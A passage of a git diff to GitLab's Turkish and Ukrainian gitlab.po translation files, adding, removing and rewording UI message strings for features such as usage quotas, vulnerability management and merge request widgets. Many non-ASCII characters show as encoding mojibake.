+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36733,9 +37355,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36844,6 +37463,9 @@ msgstr ""
msgid "Updating"
msgstr "Güncelleniyor"
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -36886,6 +37508,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -36895,9 +37520,6 @@ msgstr "yüklemek için tıklayın"
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -36910,9 +37532,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -36967,12 +37586,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr "LFS Depolama"
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36982,9 +37595,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr "Paketler"
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36997,9 +37616,6 @@ msgstr "Daha fazla depolama alanı satın al"
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr "Depolar"
-
msgid "UsageQuota|Repository"
msgstr "Depo"
@@ -37033,18 +37649,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr "Bu isim alanının paylaşılan çalıştırıcıları kullanan projeleri yok"
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37090,9 +37694,6 @@ msgstr "Viki"
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr "Viki"
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37285,9 +37886,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37591,9 +38189,6 @@ msgstr "özel bir katkı yaptı"
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -37819,6 +38414,18 @@ msgstr ""
msgid "Verification status"
msgstr "DoÄŸrulama durumu"
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr "Doğrulandı"
@@ -37843,6 +38450,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37940,6 +38550,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38050,6 +38663,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38062,9 +38678,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr "%{user} tarafından %{timeago} %{statusStart}onaylandı%{statusEnd}"
@@ -38080,6 +38693,9 @@ msgstr "%{user} tarafından %{timeago} %{statusStart}çözümlendi%{statusEnd}"
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38089,7 +38705,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38101,6 +38720,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38125,9 +38747,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38140,10 +38768,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38317,7 +38945,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38623,6 +39251,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38635,7 +39266,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38808,6 +39439,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -38817,7 +39454,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38931,6 +39568,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39204,13 +39844,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
-msgstr ""
-
-msgid "You can only merge once the items above are resolved."
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39246,6 +39883,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39276,12 +39916,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39333,6 +39979,11 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39381,6 +40032,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39516,9 +40170,6 @@ msgstr "Yalnızca sizden @bahsedilen yorumlar için bildirim alacaksınız"
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39603,7 +40254,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39669,6 +40320,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr "Hesabınız kilitlendi."
@@ -39861,6 +40518,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr "AboneliÄŸiniz sona erdi!"
@@ -39875,15 +40535,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39893,6 +40547,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39958,9 +40615,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr "%{created_at_timeago} eklendi"
-
msgid "added %{emails}"
msgstr ""
@@ -40056,6 +40710,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40089,9 +40746,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40262,6 +40916,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr "%{reportName} raporu yüklenemedi"
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr "Düzeltildi"
@@ -40271,6 +40928,9 @@ msgstr "Düzeltildi:"
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40294,6 +40954,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr "%{reportName} raporu yükleniyor"
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr "Lisansları yönet"
@@ -40330,6 +40993,9 @@ msgstr "Güvenlik taraması"
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr "Çözüm"
@@ -40700,21 +41366,9 @@ msgstr "içe aktarım akışı"
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -40867,9 +41521,6 @@ msgstr "%{path_lock_user_name} tarafından kilitlendi %{created_at}"
msgid "log in"
msgstr "oturum aç"
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -40899,14 +41550,14 @@ msgstr ""
msgid "most recent deployment"
msgstr "en son dağıtım"
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
-msgstr ""
+msgid "mrWidgetCommitsAdded|1 merge commit"
+msgstr "1 iÅŸlemi birleÅŸtir"
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
-msgstr "1 iÅŸlemi birleÅŸtir"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
+msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
@@ -40917,6 +41568,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40935,9 +41589,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40980,9 +41631,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41015,6 +41663,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr "Kaynak dalı sil"
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41024,12 +41675,18 @@ msgstr "Kapatılmadı"
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr "E-posta yamaları"
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41065,21 +41722,36 @@ msgstr "BirleÅŸtir"
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr "Birleştirme başarısız."
msgid "mrWidget|Merge locally"
msgstr "Yerel olarak birleÅŸtir"
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr "BirleÅŸtiren:"
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41092,6 +41764,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41131,9 +41812,6 @@ msgstr "BirleÅŸtirme isteÄŸi"
msgid "mrWidget|Resolve conflicts"
msgstr "Çakışmaları çöz"
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr "Geri al"
@@ -41164,9 +41842,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41182,37 +41857,28 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr "Kaynak dal siliniyor"
-msgid "mrWidget|The source branch will be deleted"
-msgstr "Kaynak dal silinecek"
-
-msgid "mrWidget|The source branch will not be deleted"
-msgstr "Kaynak dal silinmeyecek"
-
-msgid "mrWidget|There are merge conflicts"
-msgstr "Birleştirme çakışmaları var"
-
msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
-msgstr "Bu proje arşivlendi, yazma erişimi devre dışı bırakıldı"
-
msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|What is a merge train?"
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
+msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
+msgstr ""
+
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
-msgid "mrWidget|You can only merge once this merge request is approved."
+msgid "mrWidget|What is a merge train?"
msgstr ""
msgid "mrWidget|Your password"
@@ -41375,6 +42041,18 @@ msgstr "iş hattı"
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41555,9 +42233,6 @@ msgstr "oturum aç"
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr "sırala:"
-
msgid "source"
msgstr "kaynak"
@@ -41582,6 +42257,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/uk/gitlab.po b/locale/uk/gitlab.po
index dc989ee54da..76a89125371 100644
--- a/locale/uk/gitlab.po
+++ b/locale/uk/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: uk\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:38\n"
+"PO-Revision-Date: 2021-12-06 18:56\n"
msgid " %{start} to %{end}"
msgstr " %{start} до %{end}"
@@ -70,11 +70,8 @@ msgstr "\"%{path}\" не Ñ–Ñнував у \"%{ref}\""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr "Розмір \"%{repository_name}\" (%{repository_size}) перевищує межу %{limit}."
-msgid "\"el\" parameter is required for createInstance()"
-msgstr "Параметр \"el\" необхідний Ð´Ð»Ñ createInstance()"
-
msgid "#%{issueIid} (closed)"
-msgstr ""
+msgstr "#%{issueIid} (закриті)"
msgid "#general, #development"
msgstr "#загальне, #розробка"
@@ -303,6 +300,13 @@ msgstr[1] "%d виправлені результати теÑту"
msgstr[2] "%d виправлених результатів теÑту"
msgstr[3] "%d виправлених результатів теÑту"
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] "%d група"
@@ -373,6 +377,13 @@ msgstr[1] "%d запити на злиттÑ, до Ñких ви не маєте
msgstr[2] "%d запитів на злиттÑ, до Ñких ви не маєте доÑтупу."
msgstr[3] "%d запитів на злиттÑ, до Ñких ви не маєте доÑтупу."
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] "%d метрика"
@@ -464,6 +475,13 @@ msgstr[1] "Виділено %d Ñегменти"
msgstr[2] "Виділено %d Ñегментів"
msgstr[3] "Виділено %d Ñегментів"
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] "%d тег"
@@ -537,6 +555,12 @@ msgstr[3] "%s доданих комітів були виключені Ð´Ð»Ñ Ð
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr "%{actionText} Ñ– %{openOrClose} %{noteable}"
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr "%{address} - недійÑний діапазон IP-адреÑ"
@@ -623,6 +647,13 @@ msgstr[3] "Ðеобхідно %{count} затверджень від %{name}"
msgid "%{count} approvals from %{name}"
msgstr "%{count} Ñхвалень від %{name}"
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%{count} files touched"
msgstr "%{count} файлів змінено"
@@ -851,7 +882,7 @@ msgstr "%{link_start}ДовідайтеÑÑŒ більше%{link_end} про роÐ
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr "%{link_start}Видаліть %{draft_snippet} префікÑ%{link_end} з назви , щоб зробити можливим Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ñ†ÑŒÐ¾Ð³Ð¾ запиту, коли він буде готовий."
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -888,7 +919,7 @@ msgid "%{mrText}, this issue will be closed automatically."
msgstr "%{mrText}, Ñ†Ñ Ð·Ð°Ð´Ð°Ñ‡Ð° буде закрита автоматично."
msgid "%{name_with_link} namespace has %{percent} or less Shared Runner Pipeline minutes remaining. Once it runs out, no new jobs or pipelines in its projects will run."
-msgstr ""
+msgstr "%{name_with_link} проÑÑ‚Ñ–Ñ€ імен %{percent} або менше хвилин загальних Runner'ів. ПіÑÐ»Ñ Ñ‚Ð¾Ð³Ð¾, Ñк він закінчитьÑÑ, нові Ð·Ð°Ð²Ð´Ð°Ð½Ð½Ñ Ð°Ð±Ð¾ конвеєри в його проєктах не працюватимуть."
msgid "%{name_with_link} namespace has run out of Shared Runner Pipeline minutes. No new jobs or pipelines in its projects will run."
msgstr "%{name_with_link} у проÑторі імен вичерпано хвилин загальних Runner'ів конвеєра. Ðових завдань у проєктах не буде."
@@ -905,6 +936,9 @@ msgstr "%{name} знайдено %{resultsString}"
msgid "%{name} is already being used for another emoji"
msgstr "%{name} вже викориÑтовуєтьÑÑ Ð´Ð»Ñ Ñ–Ð½ÑˆÐ¾Ð³Ð¾ емодзі"
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr "%{name} заплановано на %{action}"
@@ -915,7 +949,7 @@ msgid "%{name}(%{url}) namespace has %{percent} or less Shared Runner Pipeline m
msgstr ""
msgid "%{name}(%{url}) namespace has run out of Shared Runner Pipeline minutes so no new jobs or pipelines in its projects will run."
-msgstr ""
+msgstr "%{name}(%{url}) проÑÑ‚Ñ–Ñ€ імен вичерпавÑÑ Ñƒ хвилинах конвеєра загальних Runner'ів, тому нові Ð·Ð°Ð²Ð´Ð°Ð½Ð½Ñ Ð½Ðµ запуÑкатимутьÑÑ Ð² Ñвоїх проєктах."
msgid "%{name}, confirm your email address now!"
msgstr "%{name}, підтвердіть Ñвою адреÑу електронної пошти зараз!"
@@ -939,9 +973,6 @@ msgstr "%{oneWeekAgo} - %{today}"
msgid "%{oneYearAgo} - %{today}"
msgstr "%{oneYearAgo} - %{today}"
-msgid "%{openOrClose} %{noteable}"
-msgstr "%{openOrClose} %{noteable}"
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr "%{openedEpics} відкрито, %{closedEpics} закрито"
@@ -966,6 +997,9 @@ msgstr "%{placeholder} не є коректною темою"
msgid "%{primary} (%{secondary})"
msgstr "%{primary} (%{secondary})"
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr "%{ref} неможливо додати: %{error}"
@@ -1000,6 +1034,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr "%{scope} результати Ð´Ð»Ñ Ñ‚ÐµÑ€Ð¼Ñ–Ð½Ñƒ \"%{term}\""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr "%{seconds}Ñ"
@@ -1050,9 +1087,6 @@ msgstr "%{spanStart}в%{spanEnd} %{errorFn}"
msgid "%{start} to %{end}"
msgstr "%{start} до %{end}"
-msgid "%{state} epics"
-msgstr "%{state} епіки"
-
